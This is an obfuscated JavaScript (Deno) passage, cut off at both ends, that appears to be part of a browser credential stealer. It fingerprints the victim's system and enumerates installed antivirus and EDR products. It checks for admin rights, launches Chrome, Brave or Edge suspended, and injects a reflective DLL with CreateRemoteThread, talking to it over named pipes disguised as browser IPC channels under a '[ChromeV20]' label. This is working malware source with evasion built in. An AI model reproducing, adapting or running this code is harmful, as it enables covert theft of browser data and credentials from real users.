| const _0x5e145f4 = _0x5e5da3[0], | |
| _0x32e11 = isServerEdition(_0x5e145f4); | |
| let _0x2b70e10; | |
| if (_0x17980e5 === 10) { | |
| if (_0x32e11) { | |
| if (_0x38b88f5 >= 20348) _0x2b70e10 = "Windows Server 2022"; | |
| else _0x38b88f5 >= 17763 ? _0x2b70e10 = "Windows Server 2019" : _0x2b70e10 = "Windows Server 2016"; | |
| } else _0x38b88f5 >= 22000 ? _0x2b70e10 = "Windows 11" : _0x2b70e10 = "Windows 10"; | |
| } else { | |
| if (_0x17980e5 === 6) { | |
| if (_0x32e11) { | |
| const _0x345 = { | |
| 3: "Windows Server 2012 R2", | |
| 2: "Windows Server 2012", | |
| 1: "Windows Server 2008 R2", | |
| 0: "Windows Server 2008" | |
| }; | |
| _0x2b70e10 = _0x345[_0xb62c4] || "Windows Server"; | |
| } else { | |
| const _0x3f9fa2 = { | |
| 3: "Windows 8.1", | |
| 2: "Windows 8", | |
| 1: "Windows 7", | |
| 0: "Windows Vista" | |
| }; | |
| _0x2b70e10 = _0x3f9fa2[_0xb62c4] || "Windows"; | |
| } | |
| } else _0x2b70e10 = _0x32e11 ? "Windows Server" : "Windows"; | |
| } | |
| const _0x1f6da3 = getProductName(_0x5e145f4); | |
| return _0x1f6da3 ? _0x2b70e10 + " " + _0x1f6da3 : _0x2b70e10; | |
| } | |
| } catch (_0x2a20ca3) { | |
| console["warn"]("Failed to get OS name:", _0x2a20ca3); | |
| } | |
| return void 0; | |
| } | |
| function getOsVersion() { | |
| const _0x3e630a2 = potato; | |
| if (!ntdll) return void 0; | |
| try { | |
| const _0x4d90d3 = new Uint8Array(284), | |
| _0x548b5 = new DataView(_0x4d90d3["buffer"]); | |
| _0x548b5["setUint32"](0, 284, !![]); | |
| const _0x34838a3 = ntdll["symbols"]["RtlGetVersion"](_0x4d90d3); | |
| if (_0x34838a3 === 0) { | |
| const _0x3f9e2 = _0x548b5["getUint32"](4, !![]), | |
| _0x8ffc9c3 = _0x548b5["getUint32"](8, !![]), | |
| _0x4a2 = _0x548b5["getUint32"](12, !![]); | |
| return _0x3f9e2 + "." + _0x8ffc9c3 + "." + _0x4a2; | |
| } | |
| } catch (_0x5270de3) { | |
| console["warn"]("Failed to get OS version:", _0x5270de3); | |
| } | |
| return void 0; | |
| } | |
| function getOsBuild() { | |
| const _0x346 = potato; | |
| try { | |
| return import_node_os2["default"]["release"](); | |
| } catch { | |
| return void 0; | |
| } | |
| } | |
| function getCpus() { | |
| const _0x28c30d2 = potato; | |
| try { | |
| const _0x348 = import_node_os2["default"]["cpus"](), | |
| _0x3f498d3 = [...new Set(_0x348["map"](_0x55b19a3 => _0x55b19a3["model"]["trim"]()["replace"](/\0/g, "")))]; | |
| return _0x3f498d3; | |
| } catch { | |
| return []; | |
| } | |
| } | |
| async function getGpus() { | |
| const _0x298aa = potato; | |
| try { | |
| const { | |
| stdout: _0x8a9b7c3 | |
| } = await execAsync("powershell -Command \"Get-WmiObject -Class Win32_VideoController | Select-Object -Property Name | Format-List -Property Name | Out-String\""), | |
| _0xbf504a4 = []; | |
| for (const _0x12a2 of _0x8a9b7c3["split"]("\n")) { | |
| const _0x28ed1a4 = _0x12a2["trim"](); | |
| if (_0x28ed1a4["startsWith"]("Name :")) { | |
| const _0x351 = _0x28ed1a4["replace"]("Name :", "")["trim"](); | |
| _0x351 && _0xbf504a4["push"](_0x351); | |
| } | |
| } | |
| return _0xbf504a4; | |
| } catch { | |
| return []; | |
| } | |
| } | |
| function getRamMb() { | |
| const _0x3a10 = potato; | |
| try { | |
| return Math["floor"](import_node_os2["default"]["totalmem"]() / 1024 / 1024); | |
| } catch { | |
| return 0; | |
| } | |
| } | |
| function getAvs() { | |
| const _0x18043c2 = potato, | |
| _0x18b33c3 = [ | |
| ["C:\\Program Files\\Windows Defender", "Microsoft Defender Antivirus"], | |
| ["C:\\Program Files\\Windows Defender Advanced Threat Protection", "Microsoft Defender for Endpoint"], | |
| ["C:\\Program Files\\Microsoft Defender ATP", "Microsoft Defender for Endpoint"], | |
| ["C:\\ProgramData\\Microsoft\\Windows Defender", "Microsoft Defender Antivirus"], | |
| ["C:\\Program Files\\Kaspersky Lab", "Kaspersky"], | |
| ["C:\\Program Files\\Kaspersky", "Kaspersky"], | |
| ["C:\\Program Files\\ESET", "ESET"], | |
| ["C:\\Program Files (x86)\\ESET", "ESET"], | |
| ["C:\\Program Files\\Norton", "Norton"], | |
| ["C:\\Program Files\\Symantec", "Symantec (Broadcom)"], | |
| ["C:\\Program Files\\McAfee", "McAfee"], | |
| ["C:\\Program Files\\Trend Micro", "Trend Micro"], | |
| ["C:\\Program Files\\Bitdefender", "Bitdefender"], | |
| ["C:\\Program Files\\Avast Software", "Avast"], | |
| ["C:\\Program Files\\AVG", "AVG"], | |
| ["C:\\ProgramData\\Avast", "Avast"], | |
| ["C:\\Program Files\\Sophos", "Sophos"], | |
| ["C:\\ProgramData\\Sophos", "Sophos"], | |
| ["C:\\Program Files\\CrowdStrike", "CrowdStrike Falcon"], | |
| ["C:\\ProgramData\\CrowdStrike", "CrowdStrike Falcon"], | |
| ["C:\\Program Files\\SentinelOne", "SentinelOne"], | |
| ["C:\\ProgramData\\SentinelOne", "SentinelOne"], | |
| ["C:\\Program Files\\VMware\\Carbon Black", "VMware Carbon Black"], | |
| ["C:\\Program Files\\Carbon Black", "Carbon Black"], | |
| ["C:\\ProgramData\\Carbon Black", "Carbon Black"], | |
| ["C:\\Program Files\\Cylance", "Cylance"], | |
| ["C:\\Program Files\\CylanceProtect", "Cylance Protect"], | |
| ["C:\\Program Files\\Cisco\\AMP", "Cisco AMP for Endpoints"], | |
| ["C:\\Program Files\\Cisco\\AMP for Endpoints", "Cisco AMP"], | |
| ["C:\\Program Files\\Malwarebytes", "Malwarebytes"], | |
| ["C:\\ProgramData\\Malwarebytes", "Malwarebytes"], | |
| ["C:\\Program Files\\Panda Security", "Panda Security"], | |
| ["C:\\Program Files\\F-Secure", "F-Secure"], | |
| ["C:\\Program Files\\Comodo", "Comodo"] | |
| ], | |
| _0x77dc4 = []; | |
| try { | |
| const _0x3a12 = typeof Deno !== "undefined" ? Deno : require("node:fs"); | |
| for (const [_0x3a0e3, _0x1b49f3] of _0x18b33c3) { | |
| try { | |
| typeof Deno !== "undefined" ? (Deno["statSync"](_0x3a0e3), _0x77dc4["push"](_0x1b49f3)) : (_0x3a12["statSync"](_0x3a0e3), _0x77dc4["push"](_0x1b49f3)); | |
| } catch {} | |
| } | |
| const _0x1749b3 = [...new Set(_0x77dc4)]; | |
| return _0x1749b3["length"] > 0 ? _0x1749b3 : void 0; | |
| } catch { | |
| return void 0; | |
| } | |
| } | |
| function isElevated() { | |
| const _0x21a4cf2 = potato; | |
| if (!advapi32 || !kernel324) return void 0; | |
| try { | |
| const _0x21b5ef3 = 8, | |
| _0x353 = 20, | |
| _0x3fac2d3 = kernel324["symbols"]["GetCurrentProcess"](), | |
| _0x25a2f3 = new Uint8Array(8), | |
| _0x1c09f2 = advapi32["symbols"]["OpenProcessToken"](_0x3fac2d3, _0x21b5ef3, _0x25a2f3); | |
| if (_0x1c09f2 === 0) return void 0; | |
| const _0x3146e2 = new DataView(_0x25a2f3["buffer"]), | |
| _0x32fae3 = Deno["UnsafePointer"]["create"](_0x3146e2["getBigUint64"](0, !![])), | |
| _0x55e00a4 = new Uint32Array(1), | |
| _0x5dfd4d3 = new Uint32Array(1), | |
| _0x56bf3d3 = advapi32["symbols"]["GetTokenInformation"](_0x32fae3, _0x353, _0x55e00a4, 4, _0x5dfd4d3); | |
| kernel324["symbols"]["CloseHandle"](_0x32fae3); | |
| if (_0x56bf3d3 !== 0) return _0x55e00a4[0] !== 0; | |
| } catch (_0x262e2) { | |
| console["warn"]("Failed to check elevation:", _0x262e2); | |
| } | |
| return void 0; | |
| } | |
| function isAdmin() { | |
| const _0x3ef = potato; | |
| if (!advapi32 || !kernel324) return void 0; | |
| try { | |
| const _0x487abf3 = 8, | |
| _0x59851d4 = 2, | |
| _0x58253c3 = new Uint8Array([0, 0, 0, 0, 0, 5]), | |
| _0x3083c2 = kernel324["symbols"]["GetCurrentProcess"](), | |
| _0x37e3 = new Uint8Array(8), | |
| _0x1ff14f3 = advapi32["symbols"]["OpenProcessToken"](_0x3083c2, _0x487abf3, _0x37e3); | |
| if (_0x1ff14f3 === 0) return void 0; | |
| const _0x2b451f3 = new DataView(_0x37e3["buffer"]), | |
| _0x7d5da8 = Deno["UnsafePointer"]["create"](_0x2b451f3["getBigUint64"](0, !![])), | |
| _0x4ef3 = new Uint8Array(8), | |
| _0x1ae8e2 = advapi32["symbols"]["AllocateAndInitializeSid"](_0x58253c3, 2, 32, 544, 0, 0, 0, 0, 0, 0, _0x4ef3); | |
| if (_0x1ae8e2 === 0) return kernel324["symbols"]["CloseHandle"](_0x7d5da8), void 0; | |
| const _0x15a2 = new DataView(_0x4ef3["buffer"]), | |
| _0x9a6eb5 = Deno["UnsafePointer"]["create"](_0x15a2["getBigUint64"](0, !![])), | |
| _0x3fce0b5 = new Uint32Array(1); | |
| advapi32["symbols"]["GetTokenInformation"](_0x7d5da8, _0x59851d4, new Uint8Array(0), 0, _0x3fce0b5); | |
| const _0x12039b5 = _0x3fce0b5[0]; | |
| if (_0x12039b5 === 0) return advapi32["symbols"]["FreeSid"](_0x9a6eb5), kernel324["symbols"]["CloseHandle"](_0x7d5da8), void 0; | |
| const _0x5d3a1e4 = new Uint8Array(_0x12039b5), | |
| _0x519ae2 = advapi32["symbols"]["GetTokenInformation"](_0x7d5da8, _0x59851d4, _0x5d3a1e4, _0x12039b5, _0x3fce0b5); | |
| if (_0x519ae2 === 0) return advapi32["symbols"]["FreeSid"](_0x9a6eb5), kernel324["symbols"]["CloseHandle"](_0x7d5da8), void 0; | |
| const _0x4830f3 = new DataView(_0x5d3a1e4["buffer"]), | |
| _0x5024ea3 = _0x4830f3["getUint32"](0, !![]); | |
| let _0x506de3 = ![]; | |
| for (let _0x283f4 = 0; _0x283f4 < _0x5024ea3; _0x283f4++) { | |
| const _0x3c0 = 8 + _0x283f4 * 16, | |
| _0xa4919a3 = _0x4830f3["getBigUint64"](_0x3c0, !![]), | |
| _0x2c31c3 = Deno["UnsafePointer"]["create"](_0xa4919a3), | |
| _0x41b94e3 = advapi32["symbols"]["EqualSid"](_0x2c31c3, _0x9a6eb5); | |
| if (_0x41b94e3 !== 0) { | |
| _0x506de3 = !![]; | |
| break; | |
| } | |
| } | |
| return advapi32["symbols"]["FreeSid"](_0x9a6eb5), kernel324["symbols"]["CloseHandle"](_0x7d5da8), _0x506de3; | |
| } catch (_0x355) { | |
| console["warn"]("Failed to check admin rights:", _0x355); | |
| } | |
| return void 0; | |
| } | |
| async function getSystemInfo() { | |
| const _0x5db2e = potato, | |
| _0x2e831d3 = getUsername(), | |
| _0x20ee1d3 = getHostname(), | |
| _0x6566a4 = getDomain(), | |
| _0x29ee2 = getOsName(), | |
| _0x186c2 = getOsVersion(), | |
| _0x197c2 = getOsBuild(), | |
| _0x3276f2 = import_node_os2["default"]["platform"](), | |
| _0x12329a3 = import_node_os2["default"]["type"](), | |
| _0x58c2 = import_node_os2["default"]["release"](), | |
| _0x357 = getCpus(), | |
| _0x2c23 = _0x6566a4 ? [] : await getGpus(), | |
| _0x49ba2 = getRamMb(), | |
| _0x39277f3 = getAvs(), | |
| _0x197d2f3 = isElevated(), | |
| _0x8bc6d2 = isAdmin(); | |
| return { | |
| "username": _0x2e831d3, | |
| "hostname": _0x20ee1d3, | |
| "domain": _0x6566a4, | |
| "osName": _0x29ee2, | |
| "osVersion": _0x186c2, | |
| "osBuild": _0x197c2, | |
| "platform": _0x3276f2, | |
| "osType": _0x12329a3, | |
| "osRelease": _0x58c2, | |
| "cpus": _0x357, | |
| "gpus": _0x2c23, | |
| "ramMb": _0x49ba2, | |
| "avs": _0x39277f3, | |
| "runningAsAdmin": _0x197d2f3, | |
| "hasAdminRights": _0x8bc6d2 | |
| }; | |
| } | |
| var SUPPORTED_BROWSERS = [{ | |
| "name": "chrome", | |
| "displayName": "Chrome", | |
| "exeName": "chrome.exe", | |
| "paths": ["C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"] | |
| }, { | |
| "name": "brave", | |
| "displayName": "Brave", | |
| "exeName": "brave.exe", | |
| "paths": ["C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"] | |
| }, { | |
| "name": "edge", | |
| "displayName": "Edge", | |
| "exeName": "msedge.exe", | |
| "paths": ["C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe", "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"] | |
| }], | |
| COMPLETION_SIGNAL = "__DLL_PIPE_COMPLETION_SIGNAL__", | |
| DLL_TIMEOUT_MS = 60000, | |
| DRAIN_TIME_MS = 500, | |
| MEM_COMMIT = 4096, | |
| MEM_RESERVE = 8192, | |
| MEM_RELEASE = 32768, | |
| PAGE_READWRITE = 4, | |
| PAGE_EXECUTE_READ = 32, | |
| CREATE_SUSPENDED = 4, | |
| PIPE_ACCESS_DUPLEX = 3, | |
| PIPE_TYPE_MESSAGE = 4, | |
| PIPE_READMODE_MESSAGE = 2, | |
| PIPE_WAIT = 0, | |
| kernel325 = null; | |
| function initFFI2() { | |
| const _0x2ea4f = potato; | |
| if (kernel325) return; | |
| try { | |
| kernel325 = Deno["dlopen"]("kernel32.dll", { | |
| "CreateProcessW": { | |
| "parameters": ["pointer", "pointer", "pointer", "pointer", "i32", "u32", "pointer", "pointer", "pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "CreateNamedPipeW": { | |
| "parameters": ["pointer", "u32", "u32", "u32", "u32", "u32", "u32", "pointer"], | |
| "result": "pointer" | |
| }, | |
| "ConnectNamedPipe": { | |
| "parameters": ["pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "ReadFile": { | |
| "parameters": ["pointer", "pointer", "u32", "pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "WriteFile": { | |
| "parameters": ["pointer", "pointer", "u32", "pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "PeekNamedPipe": { | |
| "parameters": ["pointer", "pointer", "u32", "pointer", "pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "VirtualAllocEx": { | |
| "parameters": ["pointer", "pointer", "u64", "u32", "u32"], | |
| "result": "pointer" | |
| }, | |
| "VirtualProtectEx": { | |
| "parameters": ["pointer", "pointer", "u64", "u32", "pointer"], | |
| "result": "i32" | |
| }, | |
| "VirtualFreeEx": { | |
| "parameters": ["pointer", "pointer", "u64", "u32"], | |
| "result": "i32" | |
| }, | |
| "WriteProcessMemory": { | |
| "parameters": ["pointer", "pointer", "pointer", "u64", "pointer"], | |
| "result": "i32" | |
| }, | |
| "CreateRemoteThread": { | |
| "parameters": ["pointer", "pointer", "u64", "pointer", "pointer", "u32", "pointer"], | |
| "result": "pointer" | |
| }, | |
| "TerminateProcess": { | |
| "parameters": ["pointer", "u32"], | |
| "result": "i32" | |
| }, | |
| "WaitForSingleObject": { | |
| "parameters": ["pointer", "u32"], | |
| "result": "u32" | |
| }, | |
| "GetExitCodeProcess": { | |
| "parameters": ["pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "CloseHandle": { | |
| "parameters": ["pointer"], | |
| "result": "i32" | |
| }, | |
| "GetTickCount": { | |
| "parameters": [], | |
| "result": "u32" | |
| }, | |
| "GetLastError": { | |
| "parameters": [], | |
| "result": "u32" | |
| }, | |
| "Sleep": { | |
| "parameters": ["u32"], | |
| "result": "void" | |
| } | |
| }); | |
| } catch (_0x15e0a2) { | |
| console["error"]("[ChromeV20] Failed to initialize FFI:", _0x15e0a2); | |
| } | |
| } | |
| function isProcessAlive(_0x5d477a3) { | |
| const _0x23f3 = potato; | |
| if (!kernel325) return ![]; | |
| const _0x15e4fb4 = new Uint8Array(4), | |
| _0x21005b3 = kernel325["symbols"]["GetExitCodeProcess"](_0x5d477a3, Deno["UnsafePointer"]["of"](_0x15e4fb4)); | |
| if (_0x21005b3 === 0) return console["log"]("[ChromeV20] Failed to get process exit code"), ![]; | |
| const _0x3d4 = new DataView(_0x15e4fb4["buffer"])["getUint32"](0, !![]); | |
| return _0x3d4 === 259; | |
| } | |
| function toWideString2(_0x24aac7) { | |
| const _0x166c = potato, | |
| _0x13be3d4 = new ArrayBuffer((_0x24aac7["length"] + 1) * 2), | |
| _0x2a6 = new Uint8Array(_0x13be3d4); | |
| for (let _0x506ec7 = 0; _0x506ec7 < _0x24aac7["length"]; _0x506ec7++) { | |
| const _0xd5 = _0x24aac7["charCodeAt"](_0x506ec7); | |
| _0x2a6[_0x506ec7 * 2] = _0xd5 & 255, _0x2a6[_0x506ec7 * 2 + 1] = _0xd5 >> 8 & 255; | |
| } | |
| return _0x2a6[_0x24aac7["length"] * 2] = 0, _0x2a6[_0x24aac7["length"] * 2 + 1] = 0, _0x13be3d4; | |
| } | |
| function generatePipeName(_0x38f2) { | |
| const _0xb0342e2 = potato, | |
| _0x90c5b5 = Deno["pid"], | |
| _0x82499d5 = kernel325["symbols"]["GetTickCount"](), | |
| _0x4f13 = (_0x90c5b5 ^ _0x82499d5) & 65535, | |
| _0x76e5b0 = (_0x90c5b5 >> 16 ^ _0x82499d5 >> 16) & 65535, | |
| _0x4b66c7 = (_0x90c5b5 << 8 ^ _0x82499d5) & 65535; | |
| let _0x6b4b6; | |
| switch (_0x38f2["toLowerCase"]()) { | |
| case "chrome": { | |
| const _0x164dcf3 = ["chrome.sync." + _0x4f13 + "." + _0x76e5b0 + "." + _0x4b66c7["toString"](16)["padStart"](4, "0"), "chrome.nacl." + _0x4f13 + "_" + _0x4b66c7["toString"](16)["padStart"](4, "0"), "mojo." + _0x4f13 + "." + _0x76e5b0 + "." + _0x4b66c7["toString"](16)["padStart"](4, "0") + ".chrome"]; | |
| _0x6b4b6 = _0x164dcf3[(_0x4f13 + _0x76e5b0) % 3]; | |
| break; | |
| } | |
| case "edge": { | |
| const _0x28e5dc3 = ["msedge.sync." + _0x4f13 + "." + _0x76e5b0, "msedge.crashpad." + _0x4f13 + "_" + _0x4b66c7["toString"](16)["padStart"](4, "0"), "LOCAL\\msedge_" + _0x4f13]; | |
| _0x6b4b6 = _0x28e5dc3[(_0x76e5b0 + _0x4b66c7) % 3]; | |
| break; | |
| } | |
| case "brave": { | |
| const _0x359 = ["brave.sync." + _0x4f13 + "." + _0x76e5b0, "mojo." + _0x4f13 + "." + _0x76e5b0 + ".brave", "brave.crashpad_" + _0x4f13]; | |
| _0x6b4b6 = _0x359[_0x4b66c7 % 3]; | |
| break; | |
| } | |
| default: | |
| _0x6b4b6 = "chromium.ipc." + _0x4f13 + "." + _0x76e5b0; | |
| } | |
| return "\\\\.\\pipe\\" + _0x6b4b6; | |
| } | |
| function findBrowserPath(_0x5ef2e2) { | |
| for (const _0x4c063e4 of _0x5ef2e2["paths"]) { | |
| try { | |
| return Deno["statSync"](_0x4c063e4), _0x4c063e4; | |
| } catch {} | |
| } | |
| return null; | |
| } | |
| function findInstalledBrowsers() { | |
| const _0x4beed = potato, | |
| _0xec540e4 = []; | |
| for (const _0x2341e4 of SUPPORTED_BROWSERS) { | |
| const _0x5317cc5 = findBrowserPath(_0x2341e4); | |
| _0x5317cc5 && (console["log"]("[ChromeV20] Found " + _0x2341e4["displayName"] + " at: " + _0x5317cc5), _0xec540e4["push"]([_0x2341e4, _0x5317cc5])); | |
| } | |
| return _0xec540e4; | |
| } | |
| function createSuspendedProcess(_0x361) { | |
| const _0x3e8ca = potato; | |
| if (!kernel325) return null; | |
| const _0x3bb6e2 = toWideString2(_0x361), | |
| _0x364 = new ArrayBuffer(104), | |
| _0x1baaae3 = new Uint8Array(_0x364), | |
| _0x441f2 = new DataView(_0x364); | |
| _0x441f2["setUint32"](0, 104, !![]); | |
| const _0x52f3 = new ArrayBuffer(24), | |
| _0xff23c2 = new Uint8Array(_0x52f3), | |
| _0x5e5ebf3 = kernel325["symbols"]["CreateProcessW"](null, Deno["UnsafePointer"]["of"](_0x3bb6e2), null, null, 0, CREATE_SUSPENDED, null, null, Deno["UnsafePointer"]["of"](_0x1baaae3), Deno["UnsafePointer"]["of"](_0xff23c2)); | |
| if (_0x5e5ebf3 === 0) { | |
| const _0x1d2d2 = kernel325["symbols"]["GetLastError"](); | |
| return console["error"]("[ChromeV20] Failed to create suspended process: " + _0x1d2d2), null; | |
| } | |
| const _0x44a4ce5 = new DataView(_0x52f3), | |
| _0x3ff2 = _0x44a4ce5["getBigUint64"](0, !![]), | |
| _0x31337b3 = _0x44a4ce5["getBigUint64"](8, !![]), | |
| _0x129c3 = _0x44a4ce5["getUint32"](16, !![]); | |
| return console["log"]("[ChromeV20] Suspended process created (PID: " + _0x129c3 + ")"), { | |
| "hProcess": Deno["UnsafePointer"]["create"](_0x3ff2), | |
| "hThread": Deno["UnsafePointer"]["create"](_0x31337b3), | |
| "dwProcessId": _0x129c3 | |
| }; | |
| } | |
| function findReflectiveLoaderOffset(_0x24f0b10) { | |
| const _0x26d5 = potato; | |
| if (_0x24f0b10["length"] < 64) return console["error"]("[ChromeV20] DLL too small"), null; | |
| const _0x3f19 = new DataView(_0x24f0b10["buffer"]), | |
| _0x8f2 = _0x3f19["getUint16"](0, !![]); | |
| if (_0x8f2 !== 23117) return console["error"]("[ChromeV20] Invalid DOS signature"), null; | |
| const _0x4d698c8 = _0x3f19["getUint32"](60, !![]); | |
| if (_0x4d698c8 + 264 > _0x24f0b10["length"]) return console["error"]("[ChromeV20] Invalid PE header offset"), null; | |
| const _0x47503d3 = _0x3f19["getUint32"](_0x4d698c8, !![]); | |
| if (_0x47503d3 !== 17744) return console["error"]("[ChromeV20] Invalid PE signature"), null; | |
| const _0x368 = _0x3f19["getUint16"](_0x4d698c8 + 6, !![]), | |
| _0x5c03c2 = _0x3f19["getUint16"](_0x4d698c8 + 20, !![]), | |
| _0x473f2 = _0x4d698c8 + 24 + _0x5c03c2, | |
| _0x24b5f4 = _0x3f19["getUint32"](_0x4d698c8 + 24 + 112, !![]); | |
| if (_0x24b5f4 === 0) return console["error"]("[ChromeV20] No export directory"), null; | |
| const _0x379 = _0x3be59c5 => { | |
| const _0x367 = _0x26d5; | |
| for (let _0x48de6f5 = 0; _0x48de6f5 < _0x368; _0x48de6f5++) { | |
| const _0x3c8f5 = _0x473f2 + _0x48de6f5 * 40; | |
| if (_0x3c8f5 + 40 > _0x24f0b10["length"]) continue; | |
| const _0x9bd4 = _0x3f19["getUint32"](_0x3c8f5 + 12, !![]), | |
| _0x2c705e3 = _0x3f19["getUint32"](_0x3c8f5 + 8, !![]), | |
| _0xb2c90a3 = _0x3f19["getUint32"](_0x3c8f5 + 20, !![]); | |
| if (_0x3be59c5 >= _0x9bd4 && _0x3be59c5 < _0x9bd4 + _0x2c705e3) return _0xb2c90a3 + (_0x3be59c5 - _0x9bd4); | |
| } | |
| return null; | |
| }, | |
| _0x3baa7 = _0x379(_0x24b5f4); | |
| if (_0x3baa7 === null || _0x3baa7 + 40 > _0x24f0b10["length"]) return console["error"]("[ChromeV20] Export directory out of bounds"), null; | |
| const _0x362bde3 = _0x3f19["getUint32"](_0x3baa7 + 24, !![]), | |
| _0x3ebb2 = _0x3f19["getUint32"](_0x3baa7 + 32, !![]), | |
| _0x28f2 = _0x3f19["getUint32"](_0x3baa7 + 36, !![]), | |
| _0xc8f3b3 = _0x3f19["getUint32"](_0x3baa7 + 28, !![]), | |
| _0x6adb3 = _0x379(_0x3ebb2), | |
| _0x289aeb4 = _0x379(_0x28f2), | |
| _0x135ca3 = _0x379(_0xc8f3b3); | |
| if (!_0x6adb3 || !_0x289aeb4 || !_0x135ca3) return console["error"]("[ChromeV20] Failed to convert export table RVAs"), null; | |
| for (let _0x2907b6 = 0; _0x2907b6 < _0x362bde3; _0x2907b6++) { | |
| const _0x3a10a3 = _0x6adb3 + _0x2907b6 * 4; | |
| if (_0x3a10a3 + 4 > _0x24f0b10["length"]) continue; | |
| const _0x3e5a2 = _0x3f19["getUint32"](_0x3a10a3, !![]), | |
| _0x3f366f5 = _0x379(_0x3e5a2); | |
| if (_0x3f366f5 !== null && _0x3f366f5 < _0x24f0b10["length"]) { | |
| let _0xaa756c4 = ""; | |
| for (let _0x378 = _0x3f366f5; _0x378 < _0x24f0b10["length"] && _0x24f0b10[_0x378] !== 0; _0x378++) { | |
| _0xaa756c4 += String["fromCharCode"](_0x24f0b10[_0x378]); | |
| } | |
| if (_0xaa756c4 === "ReflectiveLoader") { | |
| console["log"]("[ChromeV20] Found ReflectiveLoader export"); | |
| const _0x3d6 = _0x289aeb4 + _0x2907b6 * 2, | |
| _0x1da18f3 = _0x3f19["getUint16"](_0x3d6, !![]), | |
| _0x127f7a3 = _0x135ca3 + _0x1da18f3 * 4, | |
| _0xa2571d3 = _0x3f19["getUint32"](_0x127f7a3, !![]), | |
| _0x3c7e4 = _0x379(_0xa2571d3); | |
| if (_0x3c7e4 !== null) return console["log"]("[ChromeV20] ReflectiveLoader offset: 0x" + _0x3c7e4["toString"](16)), _0x3c7e4; | |
| } | |
| } | |
| } | |
| return console["error"]("[ChromeV20] ReflectiveLoader export not found"), null; | |
| } | |
| function injectDll(_0x190c0, _0x10e67b3, _0x5ae10) { | |
| const _0x125c = potato; | |
| if (!kernel325) return ![]; | |
| const _0x2a62cb5 = findReflectiveLoaderOffset(_0x5ae10); | |
| if (_0x2a62cb5 === null) return console["error"]("[ChromeV20] Failed to find ReflectiveLoader"), ![]; | |
| const _0x91a3a5 = toWideString2(_0x10e67b3), | |
| _0x383 = BigInt(_0x5ae10["length"] + _0x91a3a5["byteLength"]); | |
| console["log"]("[ChromeV20] Allocating " + _0x383 + " bytes in target process"); | |
| const _0x37cbb1 = kernel325["symbols"]["VirtualAllocEx"](_0x190c0, null, _0x383, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (!_0x37cbb1 || Deno["UnsafePointer"]["value"](_0x37cbb1) === 0x0n) return console["error"]("[ChromeV20] Failed to allocate memory"), ![]; | |
| const _0x279f5 = Deno["UnsafePointer"]["value"](_0x37cbb1); | |
| console["log"]("[ChromeV20] Memory allocated at: 0x" + _0x279f5["toString"](16)); | |
| const _0x53c3 = new Uint8Array(8), | |
| _0x24fa3 = new Uint8Array(new ArrayBuffer(_0x5ae10["length"])); | |
| _0x24fa3["set"](_0x5ae10); | |
| let _0x5a295b7 = kernel325["symbols"]["WriteProcessMemory"](_0x190c0, _0x37cbb1, Deno["UnsafePointer"]["of"](_0x24fa3), BigInt(_0x5ae10["length"]), Deno["UnsafePointer"]["of"](_0x53c3)); | |
| if (_0x5a295b7 === 0) return console["error"]("[ChromeV20] Failed to write DLL"), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![]; | |
| console["log"]("[ChromeV20] DLL written (" + _0x5ae10["length"] + " bytes)"); | |
| const _0x4b3d3 = Deno["UnsafePointer"]["create"](_0x279f5 + BigInt(_0x5ae10["length"])); | |
| _0x5a295b7 = kernel325["symbols"]["WriteProcessMemory"](_0x190c0, _0x4b3d3, Deno["UnsafePointer"]["of"](_0x91a3a5), BigInt(_0x91a3a5["byteLength"]), Deno["UnsafePointer"]["of"](_0x53c3)); | |
| if (_0x5a295b7 === 0) return console["error"]("[ChromeV20] Failed to write pipe name"), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![]; | |
| console["log"]("[ChromeV20] Pipe name written"); | |
| const _0x3a14 = new Uint8Array(4); | |
| _0x5a295b7 = kernel325["symbols"]["VirtualProtectEx"](_0x190c0, _0x37cbb1, _0x383, PAGE_EXECUTE_READ, Deno["UnsafePointer"]["of"](_0x3a14)); | |
| if (_0x5a295b7 === 0) return console["error"]("[ChromeV20] Failed to change memory protection"), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![]; | |
| console["log"]("[ChromeV20] Memory protection changed"); | |
| const _0x1a4 = Deno["UnsafePointer"]["create"](_0x279f5 + BigInt(_0x2a62cb5)); | |
| console["log"]("[ChromeV20] Creating remote thread at: 0x" + (_0x279f5 + BigInt(_0x2a62cb5))["toString"](16)); | |
| const _0x23cfd4 = kernel325["symbols"]["CreateRemoteThread"](_0x190c0, null, 0x0n, _0x1a4, _0x4b3d3, 0, null); | |
| if (!_0x23cfd4 || Deno["UnsafePointer"]["value"](_0x23cfd4) === 0x0n) { | |
| const _0x4f5b2 = kernel325["symbols"]["GetLastError"](); | |
| return console["error"]("[ChromeV20] Failed to create remote thread: " + _0x4f5b2), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![]; | |
| } | |
| return console["log"]("[ChromeV20] Remote thread created"), kernel325["symbols"]["CloseHandle"](_0x23cfd4), !![]; | |
| } | |
| function writeToPipe(_0x4e1b2, _0x93ca2) { | |
| const _0xb5774a2 = potato; | |
| if (!kernel325) return ![]; | |
| const _0x480bb4 = new TextEncoder()["encode"](_0x93ca2 + "\0"), | |
| _0x2fb0d2 = new Uint8Array(4), | |
| _0x46c1f2 = kernel325["symbols"]["WriteFile"](_0x4e1b2, Deno["UnsafePointer"]["of"](_0x480bb4), _0x480bb4["length"], Deno["UnsafePointer"]["of"](_0x2fb0d2), null); | |
| return _0x46c1f2 !== 0; | |
| } | |
| function parseFileData(_0x11c3) { | |
| const _0x2654ec2 = potato; | |
